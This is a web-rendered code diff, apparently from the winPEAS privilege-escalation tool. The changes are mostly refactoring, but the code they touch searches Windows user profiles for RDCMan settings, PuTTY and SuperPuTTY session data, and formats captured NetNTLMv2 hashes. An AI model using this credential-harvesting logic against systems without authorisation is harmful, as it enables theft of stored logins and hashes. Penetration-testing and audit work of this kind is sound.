putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value
|
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Xml;
|
using System.Xml;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -77,7 +77,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
|
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
|
||||||
if (System.IO.File.Exists(userRDManFile))
|
if (File.Exists(userRDManFile))
|
||||||
{
|
{
|
||||||
XmlDocument xmlDoc = new XmlDocument();
|
XmlDocument xmlDoc = new XmlDocument();
|
||||||
xmlDoc.Load(userRDManFile);
|
xmlDoc.Load(userRDManFile);
|
||||||
@@ -87,8 +87,8 @@ namespace winPEAS.KnownFileCreds
|
|||||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||||
XmlNode node = items[0];
|
XmlNode node = items[0];
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||||
{ "RDCManFile", userRDManFile },
|
{ "RDCManFile", userRDManFile },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
@@ -107,9 +107,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
|
||||||
if (System.IO.File.Exists(userRDManFile))
|
if (File.Exists(userRDManFile))
|
||||||
{
|
{
|
||||||
XmlDocument xmlDoc = new XmlDocument();
|
XmlDocument xmlDoc = new XmlDocument();
|
||||||
xmlDoc.Load(userRDManFile);
|
xmlDoc.Load(userRDManFile);
|
||||||
@@ -119,8 +119,8 @@ namespace winPEAS.KnownFileCreds
|
|||||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||||
XmlNode node = items[0];
|
XmlNode node = items[0];
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||||
{ "RDCManFile", userRDManFile },
|
{ "RDCManFile", userRDManFile },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
|
|||||||
@@ -209,7 +209,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
|
|||||||
{
|
{
|
||||||
return new NtlmHashInfo(
|
return new NtlmHashInfo(
|
||||||
"NetNTLMv2",
|
"NetNTLMv2",
|
||||||
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16))
|
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -24,11 +24,14 @@ namespace winPEAS.KnownFileCreds.SuperPutty
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
var path = $"{dir}\\Documents\\SuperPuTTY\\";
|
var path = $"{dir}\\Documents\\SuperPuTTY\\";
|
||||||
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
|
if (Directory.Exists(path))
|
||||||
|
|
||||||
foreach (var file in files)
|
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint($" {file}");
|
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
Beaprint.BadPrint($" {file}");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user